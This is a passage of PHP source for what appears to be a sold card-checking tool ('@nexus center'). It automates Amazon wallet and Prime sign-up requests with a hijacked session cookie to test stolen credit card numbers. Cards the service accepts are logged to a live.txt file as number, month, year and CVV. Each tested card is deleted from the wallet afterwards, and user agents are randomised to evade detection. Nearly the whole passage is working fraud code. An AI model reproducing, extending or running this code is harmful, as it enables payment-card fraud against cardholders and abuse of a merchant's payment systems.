   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
	
	unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();
 	 exit();
}

    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
'Content-Type: application/x-www-form-urlencoded',

  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));


$post = 'data=%7B%22param%22%3A%7B%22LogPageInfo%22%3A%7B%22pageInfo%22%3A%7B%22subPageType%22%3A%22kinw_total_myk_stb_Perr_paymnt_dlg_cl%22%7D%7D%2C%22GetAllAddresses%22%3A%7B%7D%7D%7D&csrfToken='.urlencode($csrf).'';

       $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);
  $addresid = getStr($add, 'AddressId":"','"');
//     if(empty($addresid)) {
//     $status = "reprovado";



// echo json_encode(['status' => $status.' => '.$err.' => CONTA SEM ENDEREÇO!']);    


  


//   }
#req3
    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
  'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',

));


$post = 'data=%7B%22param%22%3A%7B%22SetOneClickPayment%22%3A%7B%22paymentInstrumentId%22%3A%22'.$cardid_puro.'%22%2C%22billingAddressId%22%3A%22'.$addresid.'%22%2C%22isBankAccount%22%3Afalse%7D%7D%7D&csrfToken='.urlencode($csrf).'';

 $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);



 

   $ch = curl_init();
      curl_setopt($ch, CURLOPT_ENCODING, "gzip");
  curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$urll10.'/continueWidget');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: www.amazon.com',
'Widget-Ajax-Attempt-Count: 0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'APX-Widget-Info: YA:Wallet/mobile/2c8igJRLpuS0',
'Origin: https://www.amazon.com',
'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3AShowPreferencePaymentOptionListEvent%3A%7B%22instrumentId%22%3A%5B%22'.$cardid_puro.'%22%5D%2C%22instrumentIds%22%3A%5B%22'.$cardid_puro.'%22%5D%7D=change&ppw-jsEnabled=true&ppw-widgetState='.$token00310.'&ie=UTF-8');
    $data0003 = curl_exec($ch);





  $nulla10 = getStr($data0003, 'ppw-widgetState\" value=\"','\"');










   $ch = curl_init();
      curl_setopt($ch, CURLOPT_ENCODING, "gzip");
  curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$urll10.'/continueWidget');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: www.amazon.com',
'Widget-Ajax-Attempt-Count: 0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'APX-Widget-Info: YA:Wallet/mobile/2c8igJRLpuS0',
'Origin: https://www.amazon.com',
'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3APreferencePaymentOptionSelectionEvent=&ppw-jsEnabled=true&ppw-widgetState='.$nulla10.'&ie=UTF-8&ppw-instrumentRowSelection=instrumentId%3D'.$cardid_puro.'%26isExpired%3Dfalse%26paymentMethod%3DCC%26tfxEligible%3Dfalse&ppw-'.$cardid_puro.'_instrumentOrderTotalBalance=%7B%7D&ppw-giftCardSelection=instrumentId%3D'.$cardid_puro.'%26paymentMethod%3DGC%26eligibleBackingMethods%3D%26requireBackingInstrument%3Dfalse');
    $data007 = curl_exec($ch);




  $nulla10 = getStr($data007, 'ppw-widgetState\" value=\"','\"');



   $ch = curl_init();
      curl_setopt($ch, CURLOPT_ENCODING, "gzip");
  curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$urll10.'/continueWidget');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: www.amazon.com',
'Widget-Ajax-Attempt-Count: 0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'APX-Widget-Info: YA:Wallet/mobile/2c8igJRLpuS0',
'Origin: https://www.amazon.com',
'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-jsEnabled=true&ppw-widgetState='.$nulla10.'&ppw-widgetEvent=SavePaymentPreferenceEvent');
    $data03 = curl_exec($ch);



               $pay1 = getStr($data03, 'preferencePaymentMethodIds":"[\"','\"');

                    $pay2 = getStr($data03, '\",\"','\"]');


         $pref = getStr($data03, 'preferenceId":"','"');












   $ch = curl_init();
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/mcp/pipeline/transition?paymentsPortalExternalReferenceID=prime&wlpLocation=prime_default&paymentMethodId='.$pay1.'&actionPageDefinitionId=WLPAction_AcceptOffer_HardVet&successUrl=/hp/wlp/pipeline/actions&paymentsPortalPreferenceType=PRIME&originalContainerRequestId='.$requestid.'&session-id='.$session.'&failureUrl=/gp/prime/pipeline/membersignup&paymentMethodIdList='.$pay1.','.$pay2.'&containerRequestId='.$contai.'&authenticationSourceClientReference='.$contai.'&deviceType=desktop&deviceEnvironment=BROWSER&clientId=prime&locationId=wlp&preferenceId='.$pref.'&countryCode=US&paymentClass=Paid&planDurationUnit=Unrecognized');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: www.amazon.com',
'Widget-Ajax-Attempt-Count: 0',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'APX-Widget-Info: YA:Wallet/mobile/2c8igJRLpuS0',
'Origin: https://www.amazon.com',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
//curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3AAddCreditCardEvent=&ppw-jsEnabled=true&ppw-widgetState='.$ms.'&ie=UTF-8&ppw-accountHolderName=luciano+franco&addCreditCardNumber='.$cc.'&ppw-expirationDate_month='.$mes.'&ppw-expirationDate_year='.$ano.'');
      $data0 = curl_exec($ch);








       #req7

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/hp/wlp/pipeline/actions?deviceType=desktop&paymentClass=Paid&planDurationUnit=Unrecognized&authenticationSourceClientReference='.$contai.'&paymentsPortalPreferenceType=PRIME&containerRequestId='.$contai.'&deviceEnvironment=BROWSER&paymentsPortalExternalReferenceID=prime&wlpLocation=prime_default&paymentMethodId='.$pay1.'&preferenceId='.$pref.'&countryCode=US&actionPageDefinitionId=WLPAction_AcceptOffer_HardVet&paymentMethodIdList='.$pay1.'%2C'.$pay2.'&originalContainerRequestId='.$requestid.'&session-id='.$session.'');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_HEADER, 1);

curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: '.$linkSelecionado.'';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0';
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7';
$headers[] = 'Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3';
$headers[] = 'Apx-Widget-Info: Subs:Prime/desktop/S1ErNHNcJHuB';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Origin: https://'.$linkSelecionado.'';
$headers[] = 'Referer: https://www.amazon.it/hp/wlp/pipeline/membersignup?offerToken=bors.-tlQrXiOt2TT-ycdQR0fA_5Z8m09-J1uAjVKqwIcAPbsEmBX7s_0h-dRjI61btj_KJLRE4dIX4G6A2B0n0EKqNjaGRujnrDKFBtce_NRgPVlj82PwkRFyviDDXNahccMO_VliOhWldSxvtMRvsI4LoTtfC8HtucDu2Qs5Mia1g7oS_3TaDUqzb-nLAljP7Umq4RtT4aZnMag6TuZ1LD5bCzxYc3XazZeGxwqvY26IcV8ZMmZdXXXHoMLUo_EF9JSb2-OnmoVWYbltT1ouLAl5H3DUFZH1FlL-YGus_pGn3csS6FS9lLs_sWd_4qs4GRQLR9YzPB2XjFADLwsVll44yfqKKYU9e7CZ0aaVobuLEyF13PQM6RECl4GZ2RxfqS-SQ4WtOVMtVRNyLweRTk_8FqpsAuZHp1Nwjg4iLX0gnw9BJqT4QQvRF51KG2PDruOnhtBVcMqrq0EBEdKg89Rd9d8INJVqjnxOV6zkBDorjhhTV0ylMrCvKBizh1AVvl3xdm9CzXEke8spXTkcNoTeDLHRV9zBwI&location=prime_default&validateRequest=0&executionStatus=SUCCESS&actionResult=%257B%2522success%2522%253A0%252C%2522errorType%2522%253A%2522HARDVET_VERIFICATION_FAILED%2522%252C%2522action%2522%253A%2522hardVet%2522%257D';
$headers[] = 'Cookie: '.$cookie3.'';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-origin';
$headers[] = 'Priority: u=0';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

   $Fim = curl_exec($ch);
   $status_http = preg_match('/^HTTP\/[\d.]+ (\d{3})/m', $Fim, $m) ? $m[1] : null;
 
 
 


if (strpos($status_http, '200') !== false) {
   echo"<br><span class='text-success'>[Aprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'>➜ $bin_result </span>
    <span class='text-success'>[R: Cartao aprovado] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s)</span>";

	 $file = fopen($dir . "live.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);
	
	$file = fopen($dir . "die.txt.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);
}  

elseif (strpos($Fim, 'InvalidInput')) {
    echo "<br><span class='text-warning'>[Reprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'>$info ➜ </span>
    <span class='text-danger'>[R: ops,ocorreu um erro] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s) </span>";
unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();
}

elseif (strpos($Fim, 'HARDVET_VERIFICATION_FAILED')) {
    echo "<br><span class='text-warning'>[Reprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'> ➜ $bin_result </span>
    <span class='text-danger'>[R: cartão recusado ] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s) </span>";

$file = fopen($dir . "die.txt.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);
} 

else {
    echo"<brReprovada » <font color='red'> $cc|$mes|$ano|$cvv todos teus chk caiu,chame o vendedor » @nexus center </font></span></p>";
    unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
	
);
$deletou = $delet();
}

    setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
	 
	   if (strpos($r, 'Your payment method has been removed successfully') != true) {
		   
		   
		      setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
		   
	   }
	   

 	 exit();
}





if ($pais === 'debitoeuro') {






$variavelpaises = 'www.amazon.com, www.amazon.com';


$paisesArray = array_map('trim', explode(',', $variavelpaises));

 $linkSelecionado = $paisesArray[array_rand($paisesArray)];

 $sigla = strtoupper(substr(strrchr($linkSelecionado, '.'), 1));

 "Link selecionado: $linkSelecionado\n";
 "Sigla extraída: $sigla\n";




$cookie1 = convertCookie($cookieUS, 'COM');
$cookie3 = convertCookie($cookieUS, ''.$sigla.'');
$cookie4 = convertCookie($cookieUS, 'COM');
$cookie6 = convertCookie($cookieUS, 'COM');
$cookie9 = convertCookie($cookieUS, 'MX');

 $email = ($letrasAleatorias);

$session = $_SESSION['session'];
$contai = $_SESSION['contai'];
$urll10 = $_SESSION['urll10'];
$requestid = $_SESSION['requestid'];
$token00310 = $_SESSION['token00310'];
$offtoken10 = $_SESSION['offtoken10'];





////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////





         if(noExistSession()){

   $ch = curl_init();
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_URL, 'https://'.$linkSelecionado.'/gp/prime/pipeline/membersignup?');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: '.$linkSelecionado.'',
'Widget-Ajax-Attempt-Count: 0',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'Origin: https://'.$linkSelecionado.'',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
